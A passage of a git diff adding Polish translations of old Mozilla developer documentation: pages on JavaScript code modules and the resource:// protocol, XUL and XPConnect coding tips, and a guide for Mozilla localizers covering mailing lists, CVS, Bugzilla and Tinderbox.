+ <li>Services like <code>nsIPromptService</code> and <code>nsIAlertsService</code> are implemented to use native Android UI.</li>
+ <li>There is a simple JavaScript object, called <a href="/en/Extensions/Mobile/API/NativeWindow" title="en/Extensions/Mobile/NativeWindow"><code>NativeWindow</code></a>, that allows you to manipulate parts of the native Android UI.</li>
+</ul>
+
+<h2 id="Get_help_with_Firefox_for_Android">Get help with Firefox for Android</h2>
+
+<p>Documentation and tutorials for using and troubleshooting Firefox for Android are available on the <a class="external" href="http://support.mozilla.org/mobile" title="http://support.mozilla.org/mobile">Mozilla Support website</a>.</p>
diff --git a/files/pl/mozilla/index.html b/files/pl/mozilla/index.html
new file mode 100644
index 0000000000..1b260ab3bf
--- /dev/null
+++ b/files/pl/mozilla/index.html
@@ -0,0 +1,11 @@
+---
+title: Mozilla
+slug: Mozilla
+tags:
+ - Landing
+ - Mozilla
+translation_of: Mozilla
+---
+<p>Artykuły poniżej zawierają informacje odnośnie pobierania i tworzenia kodu projektów Mozilli. Dodatkowo znajdują się tu przydatne artykuły o tym, jak działa kod, jak tworzyć rozszerzenia dla aplikacji Mozilli i tym podobne.</p>
+
+<div>{{LandingPageListSubpages}}</div>
diff --git a/files/pl/mozilla/javascript_code_modules/index.html b/files/pl/mozilla/javascript_code_modules/index.html
new file mode 100644
index 0000000000..96c35a7a3d
--- /dev/null
+++ b/files/pl/mozilla/javascript_code_modules/index.html
@@ -0,0 +1,98 @@
+---
+title: JavaScript code modules
+slug: Mozilla/JavaScript_code_modules
+tags:
+ - Add-ons
+ - Extensions
+ - JavaScript
+ - Modules
+ - NeedsTranslation
+ - TopicStub
+ - XPCOM
+translation_of: Mozilla/JavaScript_code_modules
+---
+<div>{{gecko_minversion_header("1.9")}}</div>
+
+<p><span id="result_box" lang="pl"><span>Moduły kodu JavaScript pozwalają na udostępnianie kodu wielu uprzywilejowanych zakresów JavaScript.</span> <span>Na przykład moduł może być używany zarówno przez samą przeglądarkę Firefox, jak i przez rozszerzenia, aby uniknąć powielania kodu.</span></span></p>
+
+<div class="note">
+<p><span id="result_box" lang="pl"><span>Nie są to standardowe moduły JavaScript</span></span> . Sprawdź {{jsxref("Statements/export", "export")}} oraz {{jsxref("Statements/import", "import")}} <span class="short_text" id="result_box" lang="pl"><span>aby dowiedzieć się więcej o tym, jak korzystać ze standardowych modułów.</span></span></p>
+</div>
+
+<table class="topicpage-table">
+ <tbody>
+ <tr>
+ <td>
+ <h2 id="Tematy_główne">Tematy główne</h2>
+
+ <dl>
+ <dt><a href="/en-US/docs/JavaScript_code_modules/Using" title="./Using">Używanie modułów kodu JavaScript</a></dt>
+ <dd>Wprowadzenie do korzystania z modułów kodu JavaScript.</dd>
+ <dt><a href="/en-US/docs/Components.utils.import" title="Components.utils.import">Component.utils.import</a></dt>
+ <dd>Jak zaimportować moduł kodu JavaScript.</dd>
+ <dt><a href="/en-US/docs/Components.utils.unload" title="Components.utils.unload">Component.utils.unload</a> {{gecko_minversion_inline("7.0")}}</dt>
+ <dd>Jak zwolnić moduł kodu JavaScript.</dd>
+ <dt><a href="/en-US/docs/Code_snippets/Modules" title="Code_snippets/Modules">Fragmenty kodu: moduły</a></dt>
+ <dd>Przykłady korzystania z modułów kodu.</dd>
+ <dt><a class="external" href="http://wiki.mozilla.org/Labs/JS_Modules">Moduły JS Mozilla Labs</a></dt>
+ <dd>Ta strona zawiera listę modułów JavaScript wraz z linkami do pobrania i dokumentacją, które programiści rozszerzeń mogą użyć w swoim kodzie.</dd>
+ </dl>
+
+ <dl>
+ </dl>
+ </td>
+ <td>
+ <h2 id="Standard_code_modules">Standard code modules</h2>
+
+ <dl>
+ <dt><a href="/en-US/docs/Addons/Add-on_Manager" title="Addons/Add-on_Manager">AddonManager.jsm</a> {{gecko_minversion_inline("2.0")}}</dt>
+ <dd>Interface to install, manage, and uninstall add-ons.</dd>
+ <dt><a href="/en-US/docs/Addons/Add-on_Repository" title="Addons/Add-on Repository">AddonRepository.jsm</a> {{gecko_minversion_inline("2.0")}}</dt>
+ <dd>Allows searching of the add-ons repository.</dd>
+ <dt><a href="/en-US/docs/Mozilla/js-ctypes" title="./ctypes.jsm">ctypes.jsm</a> {{fx_minversion_inline("3.6")}}</dt>
+ <dd>Provides an interface that allows JavaScript code to call native libraries without requiring the development of an XPCOM component.</dd>
+ <dt><a href="/en-US/docs/Mozilla/JavaScript_code_modules/DeferredTask.jsm" title="./DeferredTask.jsm">DeferredTask.jsm</a> {{gecko_minversion_inline("18.0")}}</dt>
+ <dd>Run a task after a delay.</dd>
+ <dt><a href="/en-US/docs/Mozilla/JavaScript_code_modules/Dict.jsm" title="./Dict.jsm">Dict.jsm</a> {{gecko_minversion_inline("5.0")}}</dt>
+ <dd>Provides an API for key/value pair dictionaries.</dd>
+ <dt><a href="/en-US/docs/Mozilla/JavaScript_code_modules/DownloadLastDir.jsm" title="./DownloadLastDir.jsm">DownloadLastDir.jsm</a> {{gecko_minversion_inline("2.0")}}</dt>
+ <dd>Provides the path to the directory into which the last download occurred.</dd>
+ <dt><a href="/en-US/docs/Mozilla/JavaScript_code_modules/Downloads.jsm" title="./Downloads.jsm">Downloads.jsm</a> {{gecko_minversion_inline("23.0")}}</dt>
+ <dd>Provides a single entry point to interact with the downloading capabilities of the platform.</dd>
+ <dt><a href="/en-US/docs/Mozilla/JavaScript_code_modules/FileUtils.jsm" title="./FileUtils.jsm"><strong style="font-weight: bold;">FileUtils.jsm</strong></a> {{gecko_minversion_inline("1.9.2")}}</dt>
+ <dd>Provides helpers for dealing with files.</dd>
+ <dt><a href="/en-US/docs/Mozilla/JavaScript_code_modules/Geometry.jsm" title="./Geometry.jsm">Geometry.jsm</a> {{gecko_minversion_inline("2.0")}}</dt>
+ <dd>Provides routines for performing basic geometric operations on points and rectangles.</dd>
+ <dt><a href="/en-US/docs/Mozilla/JavaScript_code_modules/ISO8601DateUtils.jsm" title="./ISO8601DateUtils.jsm">ISO8601DateUtils.jsm</a></dt>
+ <dd>Provides routines to convert between JavaScript <a href="/en-US/docs/JavaScript/Reference/Global_Objects/Date" title="JavaScript/ Reference/Global Objects/Date"><code>Date</code></a> objects and ISO 8601 date strings.</dd>
+ <dt><a href="/en-US/docs/Mozilla/JavaScript_code_modules/NetUtil.jsm" title="./NetUtil.jsm"><strong style="font-weight: bold;">NetUtil.jsm</strong></a></dt>
+ <dd>Provides helpful networking utility functions, including the ability to easily copy data from an input stream to an output stream asynchronously.</dd>
+ <dt><a href="/en-US/docs/Mozilla/JavaScript_code_modules/openLocationLastURL.jsm" title="./openLocationLastURL.jsm">openLocationLastURL.jsm</a> {{gecko_minversion_inline("1.9.1.4")}}</dt>
+ <dd>Provides access to the last URL opened using the "Open Location" option in the File menu.</dd>
+ <dt><a href="/en-US/docs/JavaScript_OS.File" title="/en-US/docs/JavaScript_OS.File">osfile.jsm</a> {{gecko_minversion_inline("16.0")}}</dt>
+ <dd>JavaScript module <code>OS.File</code> contains primitives for manipulating files</dd>
+ <dt><a href="/en-US/docs/Mozilla/JavaScript_code_modules/PerfMeasurement.jsm" title="./PerfMeasurement.jsm">PerfMeasurement.jsm</a> {{fx_minversion_inline("4.0")}}</dt>
+ <dd>Provides access to low-level hardware and OS performance measurement tools.</dd>
+ <dt><a href="/en-US/docs/Localization_and_Plurals" title="Localization and Plurals">PluralForm.jsm</a></dt>
+ <dd>Provides an easy way to get the correct plural forms for the current locale, as well as ways to localize to a specific plural rule.</dd>
+ <dt><a href="/en-US/docs/Mozilla/JavaScript_code_modules/PopupNotifications.jsm" title="./PopupNotifications.jsm">PopupNotifications.jsm</a> {{gecko_minversion_inline("2.0")}}</dt>
+ <dd>Provides an easy way to present non-modal notifications to users.</dd>
+ <dt><a href="/en-US/docs/Mozilla/JavaScript_code_modules/Promise.jsm" title="./Promise.jsm">Promise.jsm</a> {{gecko_minversion_inline("25.0")}}</dt>
+ <dd>Implements the <a class="external" href="https://github.com/promises-aplus/promises-spec/blob/1.0.0/README.md" title="https://github.com/promises-aplus/promises-spec/blob/1.0.0/README.md">Promises/A+</a> proposal as known in April 2013.</dd>
+ <dt><a href="/en-US/docs/Mozilla/JavaScript_code_modules/Services.jsm" title="./Services.jsm">Services.jsm</a> {{gecko_minversion_inline("2.0")}}</dt>
+ <dd>Provides getters for conveniently obtaining access to commonly-used services.</dd>
+ <dt><a href="/en-US/docs/Mozilla/JavaScript_code_modules/source-editor.jsm" title="./source-editor.jsm">source-editor.jsm</a> {{fx_minversion_inline("11.0")}}</dt>
+ <dd>The Source Editor is used by developer tools such as the Style Editor; this interface implements the editor and lets you interact with it.</dd>
+ <dt><a href="/en-US/docs/Mozilla/JavaScript_code_modules/Sqlite.jsm" title="./Sqlite.jsm">Sqlite.jsm</a> {{gecko_minversion_inline("20.0")}}</dt>
+ <dd>A Promise-based API to {{ interface("mozIStorage") }}/SQLite.</dd>
+ <dt><a href="/en-US/docs/Mozilla/JavaScript_code_modules/Task.jsm" title="./Task.jsm">Task.jsm</a> {{gecko_minversion_inline("17.0")}}</dt>
+ <dd>Implements a subset of <a class="external" href="http://taskjs.org/" title="http://taskjs.org/">Task.js</a> to make sequential, asynchronous operations simple, using the power of JavaScript's <code>yield</code> operator.</dd>
+ <dt><a href="/en-US/docs/Mozilla/JavaScript_code_modules/Timer.jsm" title="/en-US/docs/Mozilla/JavaScript_code_modules/Timer.jsm">Timer.jsm </a>{{gecko_minversion_inline("22.0")}}</dt>
+ <dd>A pure JS implementation of <code>window.setTimeout</code>.</dd>
+ <dt><a href="/en-US/docs/Mozilla/JavaScript_code_modules/XPCOMUtils.jsm" title="./XPCOMUtils.jsm">XPCOMUtils.jsm</a></dt>
+ <dd>Contains utilities for JavaScript components loaded by the JS component loader.</dd>
+ </dl>
+ </td>
+ </tr>
+ </tbody>
+</table>
diff --git a/files/pl/mozilla/javascript_code_modules/zastosowanie_modułów_javascript/index.html b/files/pl/mozilla/javascript_code_modules/zastosowanie_modułów_javascript/index.html
new file mode 100644
index 0000000000..6b63f8c0f4
--- /dev/null
+++ b/files/pl/mozilla/javascript_code_modules/zastosowanie_modułów_javascript/index.html
@@ -0,0 +1,86 @@
+---
+title: Zastosowanie modułów JavaScript
+slug: Mozilla/JavaScript_code_modules/Zastosowanie_modułów_JavaScript
+translation_of: Mozilla/JavaScript_code_modules/Using
+---
+<p>
+{{ Fx_minversion_header(3) }}
+</p><p>Moduły JavaScript zostały wprowadzone w Firefoksie 3 (Gecko 1.9) i służą do udostępniania kodu pomiędzy różnymi zakresami kodu uprzywilejowanego. Za pomocą modułów można także utworzyć globalne obiekty typu singleton, co dotychczas wymagało korzystania z obiektów JavaScript XPCOM. Moduł JavaScript to po prostu kod w języku JavaScript, umieszczony w zarejestrowanej lokalizacji. Moduł jest ładowany w ramach określonego zakresu JavaScript, takiego jak skrypt XUL lub skrypt JavaScript XPCOM, za pomocą metody <a href="pl/Components.utils.import">Components.utils.import</a>.
+</p><p>Poniżej przedstawiono przykład prostego modułu JavaScript:
+</p>
+<pre>EXPORTED_SYMBOLS = ["foo", "bar"]
+
+function foo() {
+ return "foo";
+}
+
+var bar = {
+ name : "bar",
+ size : "3"
+};
+
+var dummy = "dummy";
+</pre>
+<p>Do tworzenia funkcji, obiektów, stałych oraz dowolnych innych typów obiektów JavaScript stosowana jest zwykła składnia języka JavaScript. W module zdefiniowany jest także specjalny obiekt typu <code>Array</code> o nazwie <code>EXPORTED_SYMBOLS</code>. Każdy element kodu JavaScript umieszczony w tablicy <code>EXPORTED_SYMBOLS</code> zostanie wyeksportowany z modułu i dołączony do zakresu, do którego importowany jest moduł — na przykład:
+</p>
+<pre>Components.utils.import("resource://aplikacja/moduly/moj_modul.jsm");
+
+alert(foo()); // wyświetla "foo"
+alert(bar.size + 3); // wyświetla "6"
+alert(dummy); // wyświetla "dummy is not defined", ponieważ zmienna 'dummy' nie została wyeksportowana z modułu
+</pre>
+<p>Szczególnie istotną cechą działania metody <a href="pl/Components.utils.import">Components.utils.import</a> jest umieszczanie ładowanych modułów w pamięci podręcznej; przy kolejnych operacjach importu zamiast ładowania nowej wersji modułu używana jest wersja pobrana z pamięci podręcznej. W przypadku wielokrotnego importowania danego modułu jest on współużytkowany. Jakiekolwiek modyfikacje danych, obiektów lub funkcji są dostępne w każdym zakresie, do którego moduł został zaimportowany. Jeżeli na przykład do dwóch różnych zakresów JavaScript zostanie zaimportowany prosty moduł, zmiany dokonane w jednym zakresie będą widoczne w pozostałych zakresach.
+</p><p>Zakres 1:
+</p>
+<pre>Components.utils.import("resource://app/modules/moj_modul.jsm");
+
+alert(bar.size + 3); // wyświetla "6"
+
+bar.size = 10;
+</pre>
+<p>Zakres 2:
+</p>
+<pre>Components.utils.import("resource://app/modules/moj_modul.jsm");
+
+alert(foo()); // wyświetla "foo"
+alert(bar.size + 3); // wyświetla "13"
+</pre>
+<p>Możliwe jest tworzenie obiektów typu singleton, które mogą udostępniać dane do innych okien, skryptów XUL i komponentów XPCOM.
+</p>
+<h4 id="Protok.C3.B3.C5.82_resource:" name="Protok.C3.B3.C5.82_resource:"> Protokół resource: </h4>
+<p>W przykładach zastosowania metody <a href="pl/Components.utils.import">Components.utils.import</a> użyto protokołu "<a class=" external" rel="freelink">resource://</a>". Podstawową składnię adresu URL protokołu <code>resource</code> przedstawiono poniżej:
+</p>
+<pre class="eval"><a class=" external" rel="freelink">resource://</a>&lt;alias&gt;/&lt;ścieżka-względna&gt;/&lt;plik.js|jsm&gt;
+</pre>
+<p><code>&lt;alias&gt;</code> jest aliasem lokalizacji; zazwyczaj jest to fizyczna lokalizacją względna wobec aplikacji lub środowiska uruchomieniowego XUL. W środowisku uruchomieniowym XUL istnieją dwa wstępnie zdefiniowane aliasy: </p>
+<ul><li> <code>app</code> — alias lokalizacji aplikacji XUL.
+</li><li> <code>gre</code> — alias lokalizacji środowiska uruchomieniowego XUL.
+</li></ul>
+<p><code>&lt;ścieżka-względna&gt;</code> może zawierać wiele zagłębień i jest zawsze względna wobec lokalizacji określonej przez <code>&lt;alias&gt;</code>. Typowa ścieżka względna to "modules" — taka nazwa jest używana w środowisku XUL Runner i w programie Firefox. Moduły kodu to pliki JavaScript z rozszerzeniem .js lub .jsm. </p><p>Najprostszym sposobem dodania własnych aliasów w rozszerzeniach i aplikacjach XUL jest zarejestrowanie tych aliasów w <a href="pl/Rejestracja_Chrome">manifeście chrome</a> za pomocą poniższego kodu:
+</p>
+<pre class="eval">resource <i>nazwa_aliasu</i> <i>adres/url/plików/</i>
+</pre>
+<p>Własne aliasy można także w sposób programowy dodać do protokołu <code>resource</code>, na przykład:
+</p>
+<pre>var ioService = Components.classes["@mozilla.org/network/io-service;1"]
+ .getService(Components.interfaces.nsIIOService);
+var resProt = ioService.getProtocolHandler("resource")
+ .QueryInterface(Components.interfaces.nsIResProtocolHandler);
+
+var aliasFile = Components.classes["@mozilla.org/file/local;1"]
+ .createInstance(Components.interfaces.nsILocalFile);
+aliasFile.initWithPath("/bezwzględna/ścieżka");
+
+var aliasURI = ioService.newFileURI(aliasFile);
+resProt.setSubstitution("mojalias", aliasURI);
+
+// przyjęto założenie, że moduły kodu znajdują się w folderze określonym przez alias, a nie w podfolderach
+Components.utils.import("resource://mojalias/plik.jsm");
+
+// ...
+</pre>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/Using_JavaScript_code_modules", "es": "es/Usando_m\u00f3dulos_de_c\u00f3digo_JavaScript", "fr": "fr/Utilisation_de_modules_de_code_JavaScript", "ja": "ja/Using_JavaScript_code_modules" } ) }}
diff --git a/files/pl/mozilla/javascript_tips/index.html b/files/pl/mozilla/javascript_tips/index.html
new file mode 100644
index 0000000000..b4b57fa8e1
--- /dev/null
+++ b/files/pl/mozilla/javascript_tips/index.html
@@ -0,0 +1,110 @@
+---
+title: JavaScript Tips
+slug: Mozilla/JavaScript_Tips
+translation_of: Mozilla/JavaScript_Tips
+---
+<h2 id="Function_and_variable_naming" name="Function_and_variable_naming">XUL Tips</h2>
+
+<ul>
+ <li>Kiedy wpisywany jest kod w formacie XUL, opatrz funkcje i zmienne w srodku obiektu unikalna nazwa, aby uniknac konfliktu z istniejaca nazwa funcji lub zmiennej</li>
+</ul>
+
+<pre class="brush: js">var UniqueName = {
+ _privateMember: 3,
+ publicMember: "A string",
+
+ init: function() {
+ this.doSomething(this.anotherMember);
+ },
+
+ doSomething: function(aParam) {
+ alert(aParam);
+ }
+};
+</pre>
+
+<h2 id="XPConnect" name="XPConnect">XPConnect</h2>
+
+<ul>
+ <li>Nie uzywaj metod i wlasciwosci wiecej niz tego potrzbujesz. Bardzo czesto szybciej jest przechowywac wynik w tymczasowej zmiennej.</li>
+ <li>Nie nazywaj metod ktorych nie musisz nazywac. Na przyklad, <code>windowManager.getEnumerator(aType).hasMoreElements() </code>moze byc zastapiony <code>windowManager.getMostRecentWindow(aType) != null for a single window</code>.</li>
+ <li>Nie wchodz w interfejsy chyba ze potrzebujesz dostepu do metod i wlasciwosci tego interfejsu. Nie musisz wchodzic w interfejsy, aby porownywac objekty, ani podawac objektow jako parametry (Dziala to inaczej niz w C++, w ktorym interfejsy o ktorych mowa sa niezbedne.</li>
+ <li>Nie nazywaj <code>QueryInterface </code>chyba ze wiesz co robisz. Zamiast tego uzywaj <code>instanceof</code>, przyklad:</li>
+</ul>
+
+<pre class="brush: js">if (target instanceof Components.interfaces.nsIRDFResource)
+ return target.Value;
+if (target instanceof Components.interfaces.nsIRDFLiteral)
+ return target.Value;
+return null;
+</pre>
+
+<ul>
+ <li>Nie testuj wartosci zwrotnej <code>QueryInterface, </code>zwraca zawsze orginalna zmienna jesli sie powiedzie.</li>
+ <li>When passing an object to an XPCOM method it is helpful if the object you pass is an XPCOM object, so that the C++ method access a C++ object. However, this is not always necessary or desirable. For instance the offline observer declared above is a JavaScript object that is registered with an XPCOM object, so that the call back from XPCOM executes the JavaScript method. Some XPCOM methods expect an object that implements several interfaces thus requiring you to write a <code>QueryInterface</code> method. However, in JavaScript this is quite simple even in the case of a weak reference which in C++ requires a helper class:</li>
+</ul>
+
+<pre class="brush: js">var weakObserver = {
+ QueryInterface: function QueryInterface(aIID) {
+ if (aIID.equals(Components.interfaces.nsIObserver) ||
+ aIID.equals(Components.interfaces.nsISupportsWeakReference) ||
+ aIID.equals(Components.interfaces.nsISupports))
+ return this;
+ throw Components.results.NS_NOINTERFACE;
+ },
+ observe: function observe(aSubject, aTopic, aState) {
+ }
+}
+</pre>
+
+<ul>
+ <li>When declaring XPCOM methods, try to use the same names for method parameters as are used in the interface definition.</li>
+</ul>
+
+<h2 id="DOM_elements" name="DOM_elements">DOM elements</h2>
+
+<ul>
+ <li>DOM elements are just XPCOM objects with some of the interfaces precached.</li>
+ <li>Don't call <a href="/en/DOM/element.getAttribute" title="en/DOM/element.getAttribute">getAttribute</a> to see if an attribute exists, call <a href="/en/DOM/element.hasAttribute" title="en/DOM/element.hasAttribute">hasAttribute</a> instead.</li>
+ <li>Prefer to loop through childNodes rather than using first/lastChild with next/previousSibling. But prefer hasChildNodes() to <code>childNodes.length &gt; 0</code>. Similarly prefer <code>document.getElementsByTagName(aTag).item(0) != null</code> to <code>document.getElementsByTagName(aTag).length &gt; 0</code>.</li>
+ <li>Prefer to use localName rather than tagName.</li>
+ <li>XUL elements have many of the attributes mapped to properties. This was done for a reason, so use them! The properties are:
+ <ul>
+ <li>align</li>
+ <li>allowEvents</li>
+ <li>contextMenu</li>
+ <li>datasources</li>
+ <li>dir</li>
+ <li>flex</li>
+ <li>height</li>
+ <li>id<span style="display: none;"> </span><span style="display: none;"> </span></li>
+ <li>left</li>
+ <li>maxHeight</li>
+ <li>maxWidth</li>
+ <li>minHeight</li>
+ <li>minWidth</li>
+ <li>observes</li>
+ <li>orient</li>
+ <li>pack</li>
+ <li>persist</li>
+ <li>ref</li>
+ <li>statusText</li>
+ <li>top</li>
+ <li>tooltip</li>
+ <li>tooltipText</li>
+ <li>width</li>
+ </ul>
+ </li>
+ <li>XUL also maps the <code>ordinal</code> attribute but this defaults to "1" if it is not present.</li>
+ <li>XUL also maps the <code>class</code> attribute, but unfortunately <code>class</code> is a reserved identifier, so the property is named <code>className</code>. (The property could have been implemented as <code>["class"']</code> but that just looks silly.)</li>
+ <li>XUL also maps the <code>hidden</code> and <code>collapsed</code> attributes to properties, but note that these are boolean properties whereas the above list are all string properties.</li>
+ <li>XUL also maps other useful properties and methods using XBL bindings; these vary from element to element.</li>
+ <li>For best performance give ids to all important elements. However in addition to locating elements by tag name XUL also allows you to locate an element by attribute, starting at any element in the document.</li>
+</ul>
+
+<h2 id="References" name="References">References</h2>
+
+<ul>
+ <li>This was started as a reprint of <a class="external" href="http://neil.rashbrook.org/JS.htm" title="http://neil.rashbrook.org/JS.htm">Neil's guide</a></li>
+ <li>Some more current info on this <a class="external" href="http://autonome.wordpress.com/2006/03/24/">blog post</a></li>
+</ul>
diff --git a/files/pl/mozilla/localization/co_każdy_tłumacz_mozilli_powinien_wiedzieć/index.html b/files/pl/mozilla/localization/co_każdy_tłumacz_mozilli_powinien_wiedzieć/index.html
new file mode 100644
index 0000000000..5e8042e9a2
--- /dev/null
+++ b/files/pl/mozilla/localization/co_każdy_tłumacz_mozilli_powinien_wiedzieć/index.html
@@ -0,0 +1,102 @@
+---
+title: Co każdy tłumacz Mozilli powinien wiedzieć
+slug: Mozilla/Localization/Co_każdy_tłumacz_Mozilli_powinien_wiedzieć
+tags:
+ - Lokalizacja
+ - Wszystkie_kategorie
+translation_of: Mozilla/Localization/What_every_Mozilla_translator_should_know
+---
+<p><b>l10n</b> oznacza lokalizację i pochodzi od angielskiego <b>localization</b> = <b>l</b> + kolejne 10 liter + <b>n</b>
+</p>
+<h3 id="Listy_mailingowe_i_inne_zasoby"> Listy mailingowe i inne zasoby </h3>
+<p>Istnieje kilka list mailingowych zawierających informacje dotyczące tego co, gdzie i jak tłumaczyć. Dostępne są jako grupy dyskusyjne zarówno na news.mozilla.org jak i grupach dyskusyjnych Google:
+</p>
+<dl><dt> <a class="link-https" href="https://lists.mozilla.org/listinfo/dev-l10n">Główna lista l10n</a> </dt><dd> Także dostępna jako <a class="link-news" href="news://news.mozilla.org/mozilla.dev.l10n">mozilla.dev.l10n</a>, a w skrócie <i>.l10n</i>. Odbywają się tutaj różne dyskusje na temat lokalizacji, są tam także obwieszczane ogłoszenia z nią związane.
+</dd><dt> <a class="link-https" href="https://lists.mozilla.org/listinfo/dev-planning">Lista dotycząca planowania</a> </dt><dd> Także dostępna jako <a class="link-news" href="news://news.mozilla.org/mozilla.dev.l10n">mozilla.dev.planning</a>, w skrócie <i>.planning</i>. Mają tu miejsce ogólne dyskusje na temat planów projektu Mozilla oraz tzw. "kwestie kalendarzowe". Dyskusje dotyczące ogólnie społeczności developerów Mozilli są przynajmniej wspominane tutaj.
+</dd><dt> <a class="link-https" href="https://lists.mozilla.org/listinfo/dev-l10n-web">Tłumaczenie stron Mozilli</a> </dt><dd> lub <a class="link-news" href="news://news.mozilla.org/mozilla.dev.l10n.web">mozilla.dev.l10n.web</a> - do tej grupy przenieśliśmy ogłoszenia i dyskusje o tłumaczeniach stron Mozilli.
+</dd></dl>
+<p>Wszystkie te grupy są grupami o stosunkowo niskim natężeniu ruchu.
+</p><p>Dobrym pomysłem na to, aby być na bieżąco, jest również czytanie <a class="external" href="http://l10n.mozilla.org/planet/">Planet Mozilla L10N</a>
+</p>
+<h3 id="Gdy_masz_z_czym.C5.9B_problem"> Gdy masz z czymś problem </h3>
+<ul><li> Użyj którejś z powyższych list dyskusyjnych,
+</li><li> Osobą odpowiedzialną w Mozilli za l10n jest Axel Hecht (l10n na mozilla.com), Pike na IRC-u
+</li><li> Inną drogą do uzyskania pomocy jest kanał IRC <a class="link-irc" href="irc://irc.mozilla.org/l10n">#l10n</a> na irc.mozilla.org
+</li></ul>
+<h3 id="U.C5.BCyteczne_narz.C4.99dzia"> Użyteczne narzędzia </h3>
+<ul><li> <a class="external" href="http://people.mozilla.com/%7Eaxel/l10n/">Sprawy lokalizacyjne</a>
+</li><li> <a class="external" href="http://people.mozilla.com/%7Eaxel/status-1.8/">Status lokalizacji 1.8.1</a>
+</li><li> <a class="external" href="http://downloads.mozdev.org/br/locale-inspector.zip">Locale Inspector</a>
+</li><li> <a class="external" href="http://sourceforge.net/projects/moztrans/">Mozilla Translator</a>
+</li><li> <a class="external" href="http://sourceforge.net/projects/translate/">Translate Toolkit</a>
+</li></ul>
+<h3 id="CVS"> CVS </h3>
+<p>CVS jest zorganizowany w kilka gałęzi. Mamy główną gałąź zwaną pniem (angielskie <b>Trunk</b>), nad którą codziennie trwają prace developerskie. Gdy rozpoczynane są prace nad określoną wersją, tworzone jest odgałęzienie zwane po prostu gałęzią (<b>Branch</b>). Cała zawartość pnia jest wtedy kopiowana do gałęzi tak, aby dalsze prace były wykonywane w dwóch równoległych miejscach: w pniu oraz w gałęzi przeznaczonej na nową wersję. Gdy prace w tej gałęzi są ukończone, wersja ta staje się wydaniem (po angielsku <b>Release</b>).
+</p><p>Przykładowe nazwy gałęzi/wydań wraz z wyjaśnieniem:
+</p>
+<ul><li> MOZILLA_1_8_BRANCH -&gt; Gałąź Firefox/Thunderbird 2.0
+</li><li> MOZILLA_1_8_0_BRANCH -&gt; Gałąź Firefox/Thunderbird 1.5.0.x
+</li></ul>
+<h4 id="Mozilla_Cross-Reference"> Mozilla Cross-Reference </h4>
+<p><a class="external" href="http://lxr.mozilla.org/">Mozilla Cross-Reference</a> to strona internetowa będąca mirrorem serwera CVS. Tutaj możesz łatwo przejrzeć tłumaczenia w innych językach. </p>
+<ul><li> <a class="external" href="http://lxr.mozilla.org/l10n-mozilla1.8/source/">Wszystkie języki w MOZILLA_1_8_BRANCH (Firefox 2)</a>
+</li></ul>
+<h4 id="Bonsai"> Bonsai </h4>
+<p>Możesz również użyć <a class="external" href="http://bonsai-l10n.mozilla.org/cvsqueryform.cgi">Bonsai</a> do <b>przeszukania</b> całego serwera CVS.
+</p>
+<h3 id="Bugzilla.2C_system_wychwytywania_b.C5.82.C4.99d.C3.B3w"> Bugzilla, system wychwytywania błędów </h3>
+<p>Potrzebne Ci będzie konto na <a class="link-https" href="https://bugzilla.mozilla.org">Bugzilli</a>
+</p><p>Powinieneś skonfigurować swoje konto, aby obserwować następujące adresy:
+</p>
+<ul><li> <a class=" link-mailto" href="mailto:firefoxl10n@hotmail.com">firefoxl10n@hotmail.com</a>
+</li><li> <a class=" link-mailto" href="mailto:calendar-l10n@mozilla.bugs">calendar-l10n@mozilla.bugs</a> (błędy związane z aplikacją calendar)
+</li></ul>
+<p>W ten sposób będziesz otrzymywać wiadomości o błędach wpływających na większość lub nawet wszystkie lokalizacje.
+</p><p>Gdy tworzysz nowe zgłoszenie błędu i chcesz, aby osoba odpowiedzialna za lokalizację je sprawdziła, wyślij kopię jawną na adres: <a class=" link-mailto" href="mailto:l10n@mozilla.com">l10n@mozilla.com</a>
+</p><p>Czasem przed wydaniem gałąź jest <b>zamknięta</b> i jedynym sposobem na zmianę czegokolwiek jest stworzeni błędu z <b>prośbą o akceptację</b>:
+</p>
+<ul><li> Dokonaj zmiany na Twoim dysku lokalnym
+</li><li> Utwórz plik diff ze zmianami
+</li></ul>
+<pre class="eval">cvs diff -uN &gt; filename.diff
+</pre>
+<ul><li> Stwórz <a class="link-https" href="https://bugzilla.mozilla.org/enter_bug.cgi?product=Mozilla%20Localizations">nowy błąd</a>:
+</li></ul>
+<pre class="eval">Product: Mozilla Localization
+Component: Twój język
+...
+CC: <a class=" link-mailto" href="mailto:l10n@mozilla.com">l10n@mozilla.com</a>
+Assigned to: Ty
+Wyjaśnij czego potrzebujesz!
+Określ gałąź (1.8.1 dla Firefox 2, 1.8.1.1 dla Firefox 2.0.1, ...)
+</pre>
+<ul><li> Załącz do błędu plik diff:
+</li></ul>
+<pre class="eval">Content Type: patch
+Oznacz approval1.8.xxx za pomocą znaku ?, w celu zapytania o zgodę (użyj odpowiedniej gałęzi)
+</pre>
+<ul><li> Jeśli otrzymasz akceptację, zobaczysz <i>who_is_ap:approval1.8.xxx+</i>. Teraz możesz wysłać zmiany na serwer CVS. Gdy dokonasz zmian musisz napisać w komentarzu numer błędu, co zmieniłeś i kto dokonał akceptacji. Na przykład: </li></ul>
+<pre class="eval">bug 12345, fix typos and resize prefwindow, a=l10n
+</pre>
+<ul><li> Natychmiast gdy zmiany zostaną dokonane, ustaw stan błędu jako <b>FIXED</b> i napisz <i>fixed1.8.xxx</i> w polu słów kluczowych
+</li><li> Musisz zweryfikować w kolejnej kompilacji czy zmiany zostały pomyślnie dokonane. Jeśli tak, zmień stan błędu na <b>VERIFIED</b> i napisz <i>verified1.8.xxx</i> w polu słów kluczowych
+</li></ul>
+<h3 id="Tinderbox"> Tinderbox </h3>
+<p>W <a class="external" href="http://tinderbox.mozilla.org">Tinderboksie</a> możesz obejrzeć rezultat procesu kompilacji. Gdy tylko dokonasz zmian w CVS i pojawi się kolejna kompilacja, możesz sprawdzić Tinderboksa i zobaczyć, czy coś nie poszło źle.
+</p>
+<ul><li> <a class="external" href="http://tinderbox.mozilla.org/showbuilds.cgi?tree=Mozilla1.8-l10n">l10n Tinderbox (gałąź 1.8)</a>
+</li><li> <a class="external" href="http://tinderbox.mozilla.org/showbuilds.cgi?tree=Mozilla1.8-l10n-eu">l10n-eu Tinderbox (gałąź 1.8)</a> (możesz łatwo zmienić eu na Twoje ustawienia lokalne)
+</li></ul>
+<p>Kolor zielony oznacza, że proces kompilacji został zakończony bez żadnych błędów. W tym wypadku wynikowy plik instalacyjny będzie dostępny na jednym z serwerów <b>FTP</b> Mozilli:
+</p>
